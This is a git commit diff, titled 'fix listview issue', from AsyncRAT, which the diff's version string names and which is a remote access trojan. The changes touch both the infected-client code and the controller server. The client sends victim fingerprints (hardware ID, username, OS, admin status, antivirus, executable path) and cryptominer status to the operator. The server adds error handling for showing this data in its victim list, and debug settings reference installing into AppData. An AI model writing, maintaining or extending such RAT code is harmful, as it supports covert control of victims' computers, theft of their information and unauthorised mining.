fix listview issue
This commit is contained in:
parent
8f28aed1d3
commit
3c3108ba3e
@ -256,7 +256,14 @@ namespace Client.Connection
|
||||
{
|
||||
MsgPack msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Packet").AsString = "Ping";
|
||||
msgpack.ForcePathObject("Message").AsString = $"MINER {SetRegistry.GetValue(Settings.Hwid) ?? "0"} CPU {(int)IdSender.TheCPUCounter.NextValue()}% RAM {(int)IdSender.TheMemCounter.NextValue()}%";
|
||||
try
|
||||
{
|
||||
msgpack.ForcePathObject("Message").AsString = $"MINER {SetRegistry.GetValue(Settings.Hwid) ?? "0"} CPU {(int)IdSender.TheCPUCounter.NextValue()}% RAM {(int)IdSender.TheMemCounter.NextValue()}%";
|
||||
}
|
||||
catch
|
||||
{
|
||||
msgpack.ForcePathObject("Message").AsString = $"MINER {SetRegistry.GetValue(Settings.Hwid) ?? "0"}";
|
||||
}
|
||||
Send(msgpack.Encode2Bytes());
|
||||
Ping?.Dispose();
|
||||
Interval = 0;
|
||||
|
@ -20,7 +20,7 @@ namespace Client.Helper
|
||||
msgpack.ForcePathObject("User").AsString = Environment.UserName.ToString();
|
||||
msgpack.ForcePathObject("OS").AsString = new ComputerInfo().OSFullName.ToString().Replace("Microsoft", null) + " " +
|
||||
Environment.Is64BitOperatingSystem.ToString().Replace("True", "64bit").Replace("False", "32bit");
|
||||
msgpack.ForcePathObject("Path").AsString = Process.GetCurrentProcess().MainModule.FileName;
|
||||
msgpack.ForcePathObject("Path").AsString = Application.ExecutablePath;
|
||||
msgpack.ForcePathObject("Version").AsString = Settings.Version;
|
||||
msgpack.ForcePathObject("Admin").AsString = Methods.IsAdmin().ToString().ToLower().Replace("true", "Admin").Replace("false", "User");
|
||||
TheCPUCounter.NextValue();
|
||||
|
@ -13,7 +13,7 @@ namespace Client
|
||||
#if DEBUG
|
||||
public static string Ports = "6606";
|
||||
public static string Hosts = "127.0.0.1";
|
||||
public static string Version = "0.5.6";
|
||||
public static string Version = "0.5.6A";
|
||||
public static string Install = "false";
|
||||
public static string InstallFolder = "AppData";
|
||||
public static string InstallFile = "Test.exe";
|
||||
|
@ -55,15 +55,37 @@ namespace Server.Handle_Packet
|
||||
{
|
||||
client.LV.SubItems.Add("??");
|
||||
}
|
||||
|
||||
client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("HWID").AsString);
|
||||
client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("User").AsString);
|
||||
client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("OS").AsString);
|
||||
client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("Version").AsString);
|
||||
client.LV.SubItems.Add(Convert.ToDateTime(unpack_msgpack.ForcePathObject("Installed").AsString).ToLocalTime().ToString());
|
||||
try
|
||||
{
|
||||
client.LV.SubItems.Add(Convert.ToDateTime(unpack_msgpack.ForcePathObject("Installed").AsString).ToLocalTime().ToString());
|
||||
}
|
||||
catch
|
||||
{
|
||||
try
|
||||
{
|
||||
client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("Installed").AsString);
|
||||
}
|
||||
catch
|
||||
{
|
||||
client.LV.SubItems.Add("??");
|
||||
}
|
||||
}
|
||||
client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("Admin").AsString);
|
||||
client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("Antivirus").AsString);
|
||||
client.LV.SubItems.Add("0000 MS");
|
||||
client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("Performance").AsString.Replace("MINER 0", "MINER Offline").Replace("MINER 1", "MINER Online"));
|
||||
try
|
||||
{
|
||||
client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("Performance").AsString.Replace("MINER 0", "MINER Offline").Replace("MINER 1", "MINER Online"));
|
||||
}
|
||||
catch
|
||||
{
|
||||
client.LV.SubItems.Add("??");
|
||||
}
|
||||
client.LV.ToolTipText = "[Path] " + unpack_msgpack.ForcePathObject("Path").AsString + Environment.NewLine;
|
||||
client.LV.ToolTipText += "[Pastebin] " + unpack_msgpack.ForcePathObject("Pastebin").AsString;
|
||||
client.ID = unpack_msgpack.ForcePathObject("HWID").AsString;
|
||||
|
@ -19,7 +19,7 @@ namespace Server
|
||||
|
||||
public static string CertificatePath = Application.StartupPath + "\\ServerCertificate.p12";
|
||||
public static X509Certificate2 ServerCertificate;
|
||||
public static readonly string Version = "AsyncRAT 0.5.6";
|
||||
public static readonly string Version = "AsyncRAT 0.5.6A";
|
||||
public static object LockListviewClients = new object();
|
||||
public static object LockListviewLogs = new object();
|
||||
public static object LockListviewThumb = new object();
|
||||
|
Loading…
x
Reference in New Issue
Block a user